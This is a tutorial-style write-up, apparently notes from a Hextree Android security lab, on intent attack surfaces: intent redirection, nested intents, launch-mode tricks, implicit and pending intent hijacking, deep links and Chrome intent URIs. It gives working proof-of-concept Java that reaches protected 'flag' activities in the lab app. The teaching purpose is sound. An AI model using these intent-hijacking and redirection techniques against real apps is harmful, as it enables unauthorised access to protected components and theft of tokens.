Intent Attack Surface

Activity

An Activity in android app represents a single screen in that app. If app has multiple screen fr different actions then it will have multiple activities defined.

Read more here: https://developer.android.com/reference/android/app/Activity

Now

        <activity
            android:name="com.example.test.SecondActivity"
            android:exported="false"/>
        <activity
            android:name="com.example.test.MainActivity"
            android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </activity>

In this manifest file we can see there are two activities. Activity which is exported is reachable by outside world. And it is a interest for an attack surface.

If export is set to false, then this activity can only be called from application itself, and not much interesting to an attacker.

Intents

Official Doc: https://developer.android.com/reference/android/content/Intent

My word: Intent is telling Android OS what you intent do and let android handle that intent to approprite apps/services which can handle your intent.

e.g sharing a PDF from internet. When you click on share a list of apps open which can save or share your pdf. Now these apps have registered themselves with OS as application which can handle such user actions beforehand while installing.

 ((Button) findViewById(R.id.launch_button)).setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                Intent intent = new Intent(MainActivity.this, SecondActivity.class);
                startActivity(intent);
            }
        });

In this code on button click SecondActivity class is luanched from MainActivity internally.

But when you have to create a PoC app and interact with target app's Activity class method is lsighlty different where we have to specify package name and fuully qualified class name.

        
((Button) findViewById(R.id.launch_button)).setOnClickListener(new View.OnClickListener() {
    @Override
        public void onClick(View v) {
        Intent intent = new Intent();
        intent.setComponent(new ComponentName("com.example.test", "com.example.test.SecondActivity"));
        startActivity(intent);
    }
});
//Note: for this to work SecondActivity must be exported.

Intents are carriers for inter/intra app communication which means they can carry data along with them.

Functions like getIntent, getIntExtra and such functions (read more)are good indicators that data is being received and processed by target class.

e.g here SecondActivity class expects a intent and check its value and then set text if value is 1337.

        setContentView(R.layout.activity_second);

        Intent intent = getIntent();
        if(intent!=null){
            int abc = intent.getIntExtra("hextree", -1); //-1 is default value that can be used
            if(abc == 1337){
                ((TextView) findViewById(R.id.textView2)). setText("CONGRATS you won");
            }
        }

Now as an attacker we can send this expected value using putExtra() function

        ((Button) findViewById(R.id.launch_button)).setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                Intent intent = new Intent();
                intent.setComponent(new ComponentName("com.example.test", "com.example.test.SecondActivity"));
                intent.putExtra("hextree", 1337); //both string name and value should match
                startActivity(intent);
            }
        });

Intent Action

An Intent action in Android defines the type of operation or event that the intent is describing. It acts as an identifier for what the Intent is supposed to do or what behavior it should trigger.

There are built in actions like

Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse("http://www.example.com"));
startActivity(intent);

here action ACTION_VIEW says display the content at following URI.

actions can be sutom too.

String action = getIntent().getAction();
        if (action == null || !action.equals("io.hextree.action.GIVE_FLAG")) {
        
        //do something
}

on receiving intent it check if action of intent is GIVE_FLAGor not.

POC app would be then

            public void onClick(View v) {
                Intent intent = new Intent();
                intent.setComponent(new ComponentName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag2Activity"));
                intent.setAction("io.hextree.action.GIVE_FLAG");
                startActivity(intent);

Intents can specify data filter also to filter what kind of URL it expects

<intent-filter>
    <action android:name="io.hextree.action.GIVE_FLAG"/>
    <data android:scheme="https"/>
</intent-filter>

Here scheme of URI must be https.

These intents gets passed from one app to another with help of Android IPC and binders.

Nested Intents.

Some activities can only be started internally. So some exported activities receive some data and process some data to open another activity. It's useful when

  1. Passing Complex or Multi-Step Data

  2. Delegating data

e.g.

protected void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        this.f = new LogHelper(this);
        Intent intent = getIntent();
        Intent intent2 = (Intent) intent.getParcelableExtra("android.intent.extra.INTENT");
        if (intent2 == null || intent2.getIntExtra("return", -1) != 42) {
            return;
        }
        this.f.addTag(42);
        Intent intent3 = (Intent) intent2.getParcelableExtra("nextIntent");
        this.nextIntent = intent3;
        if (intent3 == null || intent3.getStringExtra("reason") == null) {
            return;
        }
        this.f.addTag("nextIntent");
        if (this.nextIntent.getStringExtra("reason").equals("back")) {
            this.f.addTag(this.nextIntent.getStringExtra("reason"));
            success(this);
        } else if (this.nextIntent.getStringExtra("reason").equals("next")) {
            intent.replaceExtras(new Bundle());
            startActivity(this.nextIntent);
        }

In this code we can't just send an intent and reach success function. TO reach success function we need to send a intent which is encapsulated inside another intent which itself is encapsulated inside another intent.

intent---(includes)-->intent2---(includes)-->intent3.

so solution becomes.


Intent intent = new Intent();
Intent intent2 = new Intent();
Intent intent3 = new Intent();
intent3.putExtra("reason","back");
intent2.putExtra("return", 42);
intent2.putExtra("nextIntent",intent3);
intent.putExtra("android.intent.extra.INTENT", intent2);
intent.setComponent(new ComponentName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag5Activity"));
startActivity(intent);

We just send outermost intent to app which includes other intents in itself and are parsed and used according to application logic.

Intent Rdirection/Forwarding Attack

In the same problem code you can see if intent3 reason is nextinstead of backit takes the intent3 to launch a new activity. Now this allows us to send an intent to launch an activity which was set to exported=false in manifest file.

As we are sending intent to activity which is exported but then it extract another intent from it and use that to start another activity. This is classic example of intent redirection attack.

solution:

Intent intent = new Intent();
Intent intent2 = new Intent();
Intent intent3 = new Intent();
intent3.setComponent(new ComponentName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag6Activity"));
intent3.putExtra("reason","next");
intent3.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
intent2.putExtra("return", 42);
intent2.putExtra("nextIntent",intent3);
intent.putExtra("android.intent.extra.INTENT", intent2);
intent.setComponent(new ComponentName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag5Activity"));
startActivity(intent);

You can see this time we specify for intent3 to target a activity FLag6Activity .

Official Doc: https://developer.android.com/privacy-and-security/risks/intent-redirection

Which also says hwo to mitigate such attack, most simple answer is dont forward intents. IF necessary sanitize and check what this intent will do and is it allowed.

Launch Modes and Tasks

By now you have seen how we are sending multiple intents one after another to target app. By default there is no guarantee on order of intents being processed by target app.

In my case most of the time intents were processed in reverse order. If you need to ensure order you can use multiple buttons to ensure each intent is sent in sequence of button click. Or you can introduce sleep method to pause execution between two intents ensuring intents are passed in order. Ok let's end the detour.

What is Launch modes and tasks.? let's answer this question with another question.

What happens when two same activities are launched. What happens when you press back button where did that activity go.

Answer lies in concept of Launch Modes and Tasks(read official doc here: https://developer.android.com/guide/components/activities/tasks-and-back-stack#TaskLaunchModes)

simple explanation: https://medium.com/@riztech.dev/understanding-android-launch-modes-and-tasks-3397c3065fef#:~:text=Scenario%201%3A%20If%20the%20activity,and%20added%20to%20the%20stack.

my words: Basically every activity launch adds that activity to stack and back button destroys it. But what if you want to resuse same activity which was created earlier. Read the blog you will understand.

in manifest file target app can define how it want to handle multiple launch of same activity, create new one stack, resuse older one, or bring activity on top if it exists in stack before. All of this configurable.

We can also control this behaviour with our intents.

e.g. In this code to reach success method, onNewIntent must be called.

    protected void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        if (this.f == null) {
            this.f = new LogHelper(this);
        }
        String action = getIntent().getAction();
        if (action == null || !action.equals("OPEN")) {
            return;
        }
        this.f.addTag("OPEN");
    }

    @Override // io.hextree.attacksurface.AppCompactActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, android.app.Activity
    protected void onNewIntent(Intent intent) {
        super.onNewIntent(intent);
        String action = intent.getAction();
        if (action == null || !action.equals("REOPEN")) {
            return;
        }
        this.f.addTag("REOPEN");
        success(this);
    }
}

but if send an intent to start this activity everytime onCreate() will be called. given that nothing is configured in manifest file.

       <activity
            android:name="io.hextree.attacksurface.activities.Flag7Activity"
            android:exported="true"/>
        <activity

and onCreate is only triggered when an already create activity is resued.

Now what should we do? We can tell OS to treat our secondary intent in way which do not create the new activity on stack but resuse it by setting some intent flags.

e.g

  1. FLAG_ACTIVITY_REORDER_TO_FRONT

  2. FLAG_ACTIVITY_SINGLE_TOP

e.g code

 Intent intent1 = new Intent();
 intent1.setComponent(new ComponentName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag7Activity"));
 intent1.setAction(action[1]);
 startActivity(intent1);
 try{
     Thread.sleep(5000);
 }
 catch (Exception e) {
     // catching the exception
     System.out.println(e);
 }
 Intent intent = new Intent();
 intent.setComponent(new ComponentName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag7Activity"));
 intent.setAction(action[0]);
 intent.setFlags(Intent.FLAG_ACTIVITY_REORDER_TO_FRONT);
 startActivity(intent);

Here after launching first intent, we pause execution then force app to resue same activity second time causing onnewIntent()to call.

Intent Receive result.

Intents are bidirectional communication, they can also receive result from raget app. For that we need to use function.

startActivityForResult(intent, 2)

which is used alongside following function to parse results

onActivityResult(requestCode, Responsecode, Intent)

onActivityResultreceives intent in response which contain all the data in it.

We can parse this intent to extract needed result from the received intent.

Liveoverflow created an awesome script to parse the intent recived and show in a dialog box. Just import it in your project and use it.

import android.animation.AnimatorSet;
import android.animation.ObjectAnimator;
import android.app.Dialog;
import android.content.Context;
import android.content.Intent;
import android.graphics.Color;
import android.graphics.Typeface;
import android.os.Bundle;
import android.view.Gravity;
import android.view.ViewGroup;
import android.view.Window;
import android.view.WindowManager;
import android.widget.Button;
import android.widget.LinearLayout;
import android.widget.TextView;

import java.util.Set;

public class Utils {
    public static String dumpIntent(Context context, Intent intent) {
        return dumpIntent(context, intent, 0);
    }

    private static String dumpIntent(Context context, Intent intent, int indentLevel) {
        if (intent == null) {
            return "Intent is null";
        }

        StringBuilder sb = new StringBuilder();
        String indent = new String(new char[indentLevel]).replace("\0", "    ");

        // Append basic intent information
        sb.append(indent).append("[Action]    ").append(intent.getAction()).append("\n");
        // Append categories
        Set<String> categories = intent.getCategories();
        if (categories != null) {
            for (String category : categories) {
                sb.append(indent).append("[Category]  ").append(category).append("\n");
            }
        }
        sb.append(indent).append("[Data]      ").append(intent.getDataString()).append("\n");
        sb.append(indent).append("[Component] ").append(intent.getComponent()).append("\n");
        sb.append(indent).append("[Flags]     ").append(getFlagsString(intent.getFlags())).append("\n");


        // Append extras
        Bundle extras = intent.getExtras();
        if (extras != null) {
            for (String key : extras.keySet()) {
                Object value = extras.get(key);
                if (value instanceof Intent) {
                    sb.append(indent).append("[Extra:'").append(key).append("'] -> Intent\n");
                    // Recursively dump nested intents with increased indentation
                    sb.append(dumpIntent(context, (Intent) value, indentLevel + 1));  
                } else if (value instanceof Bundle) {
                    sb.append(indent).append("[Extra:'").append(key).append("'] -> Bundle\n");
                    // Recursively dump nested intents with increased indentation
                    sb.append(dumpBundle((Bundle) value, indentLevel + 1));
                } else {
                    sb.append(indent).append("[Extra:'").append(key).append("']: ").append(value).append("\n");
                }
            }
        }

        // Query the content URI if FLAG_GRANT_READ_URI_PERMISSION is set
        /*
        if ((intent.getFlags() & Intent.FLAG_GRANT_READ_URI_PERMISSION) != 0) {
            Uri data = intent.getData();
            if (data != null) {
                sb.append(queryContentUri(context, data, indentLevel + 1));
            }
        }
        */

        return sb.toString();
    }
    
    public static String dumpBundle(Bundle bundle) {
        return dumpBundle(bundle, 0);
    }

    private static String dumpBundle(Bundle bundle, int indentLevel) {
        if (bundle == null) {
            return "Bundle is null";
        }

        StringBuilder sb = new StringBuilder();
        String indent = new String(new char[indentLevel]).replace("\0", "    ");

        for (String key : bundle.keySet()) {
            Object value = bundle.get(key);
            if (value instanceof Bundle) {
                sb.append(String.format("%s['%s']: Bundle[\n%s%s]\n", indent, key, dumpBundle((Bundle) value, indentLevel + 1), indent));
            } else {
                sb.append(String.format("%s['%s']: %s\n", indent, key, value != null ? value.toString() : "null"));
            }
        }
        return sb.toString();
    }

    private static String getFlagsString(int flags) {
        StringBuilder flagBuilder = new StringBuilder();
        if ((flags & Intent.FLAG_GRANT_READ_URI_PERMISSION) != 0) flagBuilder.append("GRANT_READ_URI_PERMISSION | ");
        if ((flags & Intent.FLAG_GRANT_WRITE_URI_PERMISSION) != 0) flagBuilder.append("GRANT_WRITE_URI_PERMISSION | ");
        if ((flags & Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION) != 0) flagBuilder.append("GRANT_PERSISTABLE_URI_PERMISSION | ");
        if ((flags & Intent.FLAG_GRANT_PREFIX_URI_PERMISSION) != 0) flagBuilder.append("GRANT_PREFIX_URI_PERMISSION | ");
        if ((flags & Intent.FLAG_ACTIVITY_NEW_TASK) != 0) flagBuilder.append("ACTIVITY_NEW_TASK | ");
        if ((flags & Intent.FLAG_ACTIVITY_SINGLE_TOP) != 0) flagBuilder.append("ACTIVITY_SINGLE_TOP | ");
        if ((flags & Intent.FLAG_ACTIVITY_NO_HISTORY) != 0) flagBuilder.append("ACTIVITY_NO_HISTORY | ");
        if ((flags & Intent.FLAG_ACTIVITY_CLEAR_TOP) != 0) flagBuilder.append("ACTIVITY_CLEAR_TOP | ");
        if ((flags & Intent.FLAG_ACTIVITY_FORWARD_RESULT) != 0) flagBuilder.append("ACTIVITY_FORWARD_RESULT | ");
        if ((flags & Intent.FLAG_ACTIVITY_PREVIOUS_IS_TOP) != 0) flagBuilder.append("ACTIVITY_PREVIOUS_IS_TOP | ");
        if ((flags & Intent.FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS) != 0) flagBuilder.append("ACTIVITY_EXCLUDE_FROM_RECENTS | ");
        if ((flags & Intent.FLAG_ACTIVITY_BROUGHT_TO_FRONT) != 0) flagBuilder.append("ACTIVITY_BROUGHT_TO_FRONT | ");
        if ((flags & Intent.FLAG_ACTIVITY_RESET_TASK_IF_NEEDED) != 0) flagBuilder.append("ACTIVITY_RESET_TASK_IF_NEEDED | ");
        if ((flags & Intent.FLAG_ACTIVITY_LAUNCHED_FROM_HISTORY) != 0) flagBuilder.append("ACTIVITY_LAUNCHED_FROM_HISTORY | ");
        if ((flags & Intent.FLAG_ACTIVITY_CLEAR_WHEN_TASK_RESET) != 0) flagBuilder.append("ACTIVITY_CLEAR_WHEN_TASK_RESET | ");
        if ((flags & Intent.FLAG_ACTIVITY_NEW_DOCUMENT) != 0) flagBuilder.append("ACTIVITY_NEW_DOCUMENT | ");
        if ((flags & Intent.FLAG_ACTIVITY_NO_USER_ACTION) != 0) flagBuilder.append("ACTIVITY_NO_USER_ACTION | ");
        if ((flags & Intent.FLAG_ACTIVITY_REORDER_TO_FRONT) != 0) flagBuilder.append("ACTIVITY_REORDER_TO_FRONT | ");
        if ((flags & Intent.FLAG_ACTIVITY_NO_ANIMATION) != 0) flagBuilder.append("ACTIVITY_NO_ANIMATION | ");
        if ((flags & Intent.FLAG_ACTIVITY_CLEAR_TASK) != 0) flagBuilder.append("ACTIVITY_CLEAR_TASK | ");
        if ((flags & Intent.FLAG_ACTIVITY_TASK_ON_HOME) != 0) flagBuilder.append("ACTIVITY_TASK_ON_HOME | ");
        if ((flags & Intent.FLAG_ACTIVITY_RETAIN_IN_RECENTS) != 0) flagBuilder.append("ACTIVITY_RETAIN_IN_RECENTS | ");
        if ((flags & Intent.FLAG_ACTIVITY_LAUNCH_ADJACENT) != 0) flagBuilder.append("ACTIVITY_LAUNCH_ADJACENT | ");
        if ((flags & Intent.FLAG_ACTIVITY_REQUIRE_DEFAULT) != 0) flagBuilder.append("ACTIVITY_REQUIRE_DEFAULT | ");
        if ((flags & Intent.FLAG_ACTIVITY_REQUIRE_NON_BROWSER) != 0) flagBuilder.append("ACTIVITY_REQUIRE_NON_BROWSER | ");
        if ((flags & Intent.FLAG_ACTIVITY_MATCH_EXTERNAL) != 0) flagBuilder.append("ACTIVITY_MATCH_EXTERNAL | ");
        if ((flags & Intent.FLAG_ACTIVITY_MULTIPLE_TASK) != 0) flagBuilder.append("ACTIVITY_MULTIPLE_TASK | ");
        if ((flags & Intent.FLAG_RECEIVER_REGISTERED_ONLY) != 0) flagBuilder.append("RECEIVER_REGISTERED_ONLY | ");
        if ((flags & Intent.FLAG_RECEIVER_REPLACE_PENDING) != 0) flagBuilder.append("RECEIVER_REPLACE_PENDING | ");
        if ((flags & Intent.FLAG_RECEIVER_FOREGROUND) != 0) flagBuilder.append("RECEIVER_FOREGROUND | ");
        if ((flags & Intent.FLAG_RECEIVER_NO_ABORT) != 0) flagBuilder.append("RECEIVER_NO_ABORT | ");
        if ((flags & Intent.FLAG_RECEIVER_VISIBLE_TO_INSTANT_APPS) != 0) flagBuilder.append("RECEIVER_VISIBLE_TO_INSTANT_APPS | ");

        if (flagBuilder.length() > 0) {
            // Remove the trailing " | "
            flagBuilder.setLength(flagBuilder.length() - 3);
        }

        return flagBuilder.toString();
    }

    public static void showDialog(Context context, Intent intent) {
        if(intent == null) return;
        // Create the dialog
        Dialog dialog = new Dialog(context);
        dialog.requestWindowFeature(Window.FEATURE_NO_TITLE);
        dialog.setCancelable(true);

        // Create a LinearLayout to hold the dialog content
        LinearLayout layout = new LinearLayout(context);
        layout.setOrientation(LinearLayout.VERTICAL);
        layout.setPadding(20, 50, 20, 50);
        layout.setBackgroundColor(0xffefeff5);


        // Add a TextView for the title
        TextView title = new TextView(context);
        title.setText("Intent Details: ");
        title.setTextSize(16);
        title.setTextColor(0xff000000);
        title.setTypeface(Typeface.DEFAULT, Typeface.BOLD);
        title.setPadding(0, 0, 0, 40);
        title.setGravity(Gravity.CENTER);
        title.setBackgroundColor(0xffefeff5);
        layout.addView(title);

        // Add a TextView for the message
        TextView message = new TextView(context);
        message.setText(dumpIntent(context, intent));
        message.setTypeface(Typeface.MONOSPACE);
        message.setTextSize(12);
        message.setTextColor(0xff000000);
        message.setPadding(0, 0, 0, 30);
        message.setGravity(Gravity.START);
        message.setBackgroundColor(0xffefeff5);
        layout.addView(message);

        // Add an OK button
        Button positiveButton = new Button(context);
        positiveButton.setText("OK");
        positiveButton.setTextColor(0xff000000);
        positiveButton.setOnClickListener(v -> dialog.dismiss());
        layout.addView(positiveButton);

        // Set the layout as the content view of the dialog
        dialog.setContentView(layout);

        // Adjust dialog window parameters to make it fullscreen
        Window window = dialog.getWindow();
        if (window != null) {
            window.setLayout(ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.WRAP_CONTENT);
            window.setBackgroundDrawableResource(android.R.color.transparent);
            WindowManager.LayoutParams wlp = window.getAttributes();
            wlp.gravity = Gravity.BOTTOM;
            wlp.flags &= ~WindowManager.LayoutParams.FLAG_DIM_BEHIND;
            window.setAttributes(wlp);
        }

        dialog.show();
        // Animate the dialog with a slide-in effect
        layout.setTranslationY(2000); // Start off-screen to the right
        layout.setAlpha(0f);
        ObjectAnimator translateYAnimator = ObjectAnimator.ofFloat(layout, "translationY", 0);
        ObjectAnimator alphaAnimator = ObjectAnimator.ofFloat(layout, "alpha", 1f);
        AnimatorSet animatorSet = new AnimatorSet();
        animatorSet.playTogether(translateYAnimator, alphaAnimator);
        animatorSet.setDuration(300); // Duration of the animation
        animatorSet.setStartDelay(100); // Delay before starting the animation
        animatorSet.start();
    }
}

sample usage

public class MainActivityHextree extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        EdgeToEdge.enable(this);
        setContentView(R.layout.activity_main);
        //Intent intent = getIntent();
        String[] action = {"REOPEN","OPEN"};
        ((Button) findViewById(R.id.button_1)).setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {



                Intent intent = new Intent();
                intent.setComponent(new ComponentName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag9Activity"));
                startActivityForResult(intent, 42);
            }

        });
        
    }

    @Override
    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
        super.onActivityResult(requestCode, resultCode, data);
        // Logic here

        Utils.showDialog(this, data); //dump data from received intent
    }
}
// Some code

Explicit vs Implicit Intent

When we specify which package we are targetiing in intent, thats' explicit intent.

When we just specify intent and let OS do its magic that's implicit.

As we have seen explicit intents a lot. Let's discuss implicit.

e.g. In this code we only specify what we intend to do, and OS will open camera app.

Intent intent = new Intent();
intent.setAction("android.media.action.IMAGE_CAPTURE");
startActivity(intent);

How did OS know which app to send intent to, that is becuase:

In camera app manifest file we have this.

<intent-filter>
    <action android:name="android.media.action.IMAGE_CAPTURE"/>
    ....
</intent-filter>

Which specified that camera app activity can handle following types of intents.

When you set following flag on your intent it create detailed debug log in logcat.

intent.setFlags(Intent.FLAG_DEBUG_LOG_RESOLUTION);

Implicit Intent call hijacking

We can respond to our target application's implicit calls.

For that we need to make an exported activity. We have creates a secondactivity class which is exported, means our target app can interact with it.

        <activity
            android:name=".SecondActivity"
            android:exported="true">
            <intent-filter>
                <action android:name="io.hextree.attacksurface.ATTACK_ME" />
                <category android:name="android.intent.category.DEFAULT" /> //it is important for default functionality.
            </intent-filter>
        </activity>

We set intent filters to match what kind of actions we can handle i.e. io.hextree.attacksurface.ATTACK_MEwhich is exactly our target application uses to make implicit calls.

Now in SecondActivity class we can respond to for incomding intents and send results back.

        Intent resultIntent = new Intent();
        resultIntent.putExtra("token", 1094795585);  // Add the token extra to the result
        setResult(RESULT_OK, resultIntent);  // Send the result back to the calling activity
        finish(); 

Pending Intent Hijacking

What is Pending Intent?

You create a intent , wrap it in a pending intent wrapper, which means you have a intent which is going to be fulfilled by some another app. You forward that pendingintent to another app to fullfill that intent.

Receiving app recives all the permission of senders app too to execute that intent.

More explain here:

Pending intent real world attack: https://hackerone.com/reports/1161401

Since Android 11 all pending intents are by default immutable, which means reciving app can not update the original intent. We have to explicitly set mutable flag if we want to do it.

More: https://developer.android.com/about/versions/12/behavior-changes-12#pending-intent-mutability

Receiving app uses send()function to fulfill the original intent action.

If receiving intent updates the intent then changes are not overwritten instead they are merged.

Pending intents are used in lots of places within Android. It allows one app to create a start activity intent and give it to another app to start the activity "in its name".

We have seen intent redirects before, and pending intents basically work exactly like that. Except that the "redirected" pending intent will run with the permission of the original app.

While this mitigates the typical intent redirect vulnerability, if we somehow get ahold of a pending intent from a victim app, it could lead to various issues.

Some e.g. Here we have a target app

protected void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        this.f = new LogHelper(this);
        PendingIntent pendingIntent = (PendingIntent) getIntent().getParcelableExtra("PENDING");
        if (pendingIntent != null) {
            try {
                Intent intent = new Intent();
                intent.getExtras();
                intent.putExtra("success", true);
                this.f.addTag(intent);
                intent.putExtra("flag", this.f.appendLog(this.flag));
                pendingIntent.send(this, 0, intent);
                success(null, this);
            } catch (Exception e) {
                e.printStackTrace();
            }
        }

In this code

When activity is launched it extract a pending intent from a getintent() it recived using tag "PENDING"

Using that pendingintent it modifies the received intent by putting "flag" extra in it. And usi pendingIntent.send to launch the activity defined in original pendingintent.

From our app we can do

Intent targetIntent = new Intent();
targetIntent.setClass(this,  SecondActivity.class);
PendingIntent pendingIntent = PendingIntent.getActivity(this,0,targetIntent, PendingIntent.FLAG_MUTABLE);
//it's mutable intent so our target app can modify it.
Intent sendIntent = new Intent();
sendIntent.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag22Activity");
sendIntent.putExtra("PENDING", pendingIntent);
startActivity(sendIntent);

We send a pending intent inside a intent that launches our target app. Where pendingIntent is wrapper around a intent which will launch SecondActivity class. When pendingIntent.send is used.

In SecondActivity.classin our app we can retreive data from recived intent.

Intent receivedIntent = getIntent();
if (receivedIntent != null) {
    String flag = receivedIntent.getStringExtra("flag");
    Log.d("Flag22", flag);
}else{
    Log.d("Flag22", "???");
}

2nd e.g.

in our target app

@Override // io.hextree.attacksurface.AppCompactActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
    protected void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        this.f = new LogHelper(this);
        Intent intent = getIntent();
        String action = intent.getAction();
        if (action == null) {
            Toast.makeText(this, "Sending implicit intent with the flag\nio.hextree.attacksurface.MUTATE_ME", 1).show();
            Intent intent2 = new Intent("io.hextree.attacksurface.GIVE_FLAG");
            intent2.setClassName(getPackageName(), Flag23Activity.class.getCanonicalName());
            PendingIntent activity = PendingIntent.getActivity(getApplicationContext(), 0, intent2, 33554432);
            Intent intent3 = new Intent("io.hextree.attacksurface.MUTATE_ME");
            intent3.addFlags(8);
            intent3.putExtra("pending_intent", activity);
            this.f.addTag(intent3);
            Log.i("Flag22Activity", intent3.toString());
            startActivity(intent3);
            return;
        }
        if (action.equals("io.hextree.attacksurface.GIVE_FLAG")) {
            this.f.addTag(action);
            if (intent.getIntExtra("code", -1) == 42) {
                this.f.addTag(42);
                success(this);
            } else {
                Toast.makeText(this, "Condition not met for flag", 0).show();
            }
        }
    }

In our target app we can a pending intent is created and sent inside another intent with action io.hextree.attacksurface.MUTATE_ME we can export our app activity to handle such intent and modify the incoming pendingintent and add an extra value 42 ans send it back to reach success function.

our android manifest file

<activity
            android:name=".SecondActivity"
            android:exported="true">
            <intent-filter>
                <action android:name="io.hextree.attacksurface.MUTATE_ME"/>

                <category android:name="android.intent.category.DEFAULT" />
            </intent-filter>
 </activity>

Now our secondactivity class handles incoming intent and modify it(we can modify it as it was set mutable originally in target app)

       PendingIntent receivedIntent = getIntent().getParcelableExtra("pending_intent");
        if (receivedIntent != null) {
            Intent intent = new Intent();

            //intent.setAction("io.hextree.attacksurface.GIVE_FLAG");
            intent.putExtra("code", 42);
            try {

                receivedIntent.send(this, 2, intent);
            } catch (PendingIntent.CanceledException e) {
                throw new RuntimeException(e);
            }

        }

We modify the incoming intent and send it back to launch FLag23Activity class. We didnt even have to setAction as it was originally set in original intent.

"Some activities can also be reached by a website in the browser. This is of course a much more interesting attack model, as it doesn't require a victim to install a malicious app. These web links that result into opening an app are so called deep links." Read more:

These activities need to be marked as BROWSABLE in manifest file.

Deeplinks are handled as intent only. So receiving apps need to declare them in manifest file to let OS know they can handle such deeplinks.

Deeplinks are then extracted from data part of intent for prcoessing.

Apps registers themselves in manifest file like this

        <activity
            android:name=".SecondActivity"
            android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.VIEW"/>
                <category android:name="android.intent.category.DEFAULT"/>
                <category android:name="android.intent.category.BROWSABLE"/>
                <data
                    android:scheme="hex"
                    android:host="token"/>
            </intent-filter>

Now if a browser tries to open url hex://token?... OS will know my app can handle this deeplink.

Another app can also trigegr this deeplink like this using setdata(Uri.parse())

Intent intent2 = new Intent("android.intent.action.VIEW");
intent2.setComponent(new ComponentName("package_name","class_name"));
intent2.setData(Uri.parse("hex://token?authToken="+queryParameter2+"&type=admin&authChallenge="+queryParameter3));
startActivity(intent2);

and receiving app can handle this deeplink using URI object and get paramters value from it.

Intent intent = getIntent();
Uri data = intent.getData();
String queryParameter = data.getQueryParameter("type");
String queryParameter2 = data.getQueryParameter("authToken");
String queryParameter3 = data.getQueryParameter("authChallenge");
String host = data.getHost();

of course an another malicious app can declare same intent-filter in their manifest file then OS will give choice to user to choose which app should handle your deeplink, an if they choose wrong app then malicous app will end up with sensitive data sent in that URI.

Chrome Intent Scheme

You can launch apps directly from a web page on an Android device with an Android Intent. You can implement a user gesture to launch the app with a custom scheme called intent:

it is only supported in chrome

This intent scheme is very flexible and customizable

intent:  
   HOST/URI-path // Optional host  
   #Intent;  
      package=\[string\];  
      action=\[string\];  
      category=\[string\];  
      component=\[string\];  
      scheme=\[string\];  
   end;

e.g.

  1. Intent wihout host and URI

intent:#Intent;package=io.hextree.attacksurface;action=io.hextree.action.GIVE_FLAG;S.action=flag;B.flag=true;end;
  1. With host and URI

intent://host/path/#Intent;package=io.hextree.attacksurface;action=io.hextree.action.GIVE_FLAG;S.action=flag;B.flag=true;end;

as you can see we can specify specfic package which should handle our intent, we can target specific class name in our package with component. We can add custom schemes with scheme=custom .

We can add extra values also as we do in any intent, as depcited in above example with S.actionto add a string and use B.flag to set boolean value.

from chrome source code, we can see following data can be added to

 if      (uri.startsWith("S.", i)) b.putString(key, value);
                    else if (uri.startsWith("B.", i)) b.putBoolean(key, Boolean.parseBoolean(value));
                    else if (uri.startsWith("b.", i)) b.putByte(key, Byte.parseByte(value));
                    else if (uri.startsWith("c.", i)) b.putChar(key, value.charAt(0));
                    else if (uri.startsWith("d.", i)) b.putDouble(key, Double.parseDouble(value));
                    else if (uri.startsWith("f.", i)) b.putFloat(key, Float.parseFloat(value));
                    else if (uri.startsWith("i.", i)) b.putInt(key, Integer.parseInt(value));
                    else if (uri.startsWith("l.", i)) b.putLong(key, Long.parseLong(value));
                    else if (uri.startsWith("s.", i)) b.putShort(key, Short.parseShort(value));
                    else throw new URISyntaxException(uri, "unknown EXTRA type", i); if      (uri.startsWith("S.", i)) b.putString(key, value);
                    else if (uri.startsWith("B.", i)) b.putBoolean(key, Boolean.parseBoolean(value));
                    else if (uri.startsWith("b.", i)) b.putByte(key, Byte.parseByte(value));
                    else if (uri.startsWith("c.", i)) b.putChar(key, value.charAt(0));
                    else if (uri.startsWith("d.", i)) b.putDouble(key, Double.parseDouble(value));
                    else if (uri.startsWith("f.", i)) b.putFloat(key, Float.parseFloat(value));
                    else if (uri.startsWith("i.", i)) b.putInt(key, Integer.parseInt(value));
                    else if (uri.startsWith("l.", i)) b.putLong(key, Long.parseLong(value));
                    else if (uri.startsWith("s.", i)) b.putShort(key, Short.parseShort(value));
                    else throw new URISyntaxException(uri, "unknown EXTRA type", i);

Using intent:// scheme we have seen that it is easy to configure only intended apps should handle your links. But it can be insecure if an app with package name is installed on system from some side channel.

There is another way to secure deeplink APP Links

you might have encountered a scenario when you open a URL in browser it directly opens in related app.

It doen through app links. using autoverify feature

An App Link is a type of deep link in Android that connects a specific URL to an app. When a user clicks a URL that matches an app link, Android can open the link directly in the app instead of showing a chooser dialog or opening the link in a web browser.

What is AutoVerify?

The autoVerify attribute is used in the AndroidManifest.xml file to enable automatic verification of the app's association with the domain. If verification is successful, the app is automatically set as the default handler for links that match the specified domain.

How AutoVerify Works

  1. The app developer includes the autoVerify="true" attribute in the intent filter for app links.

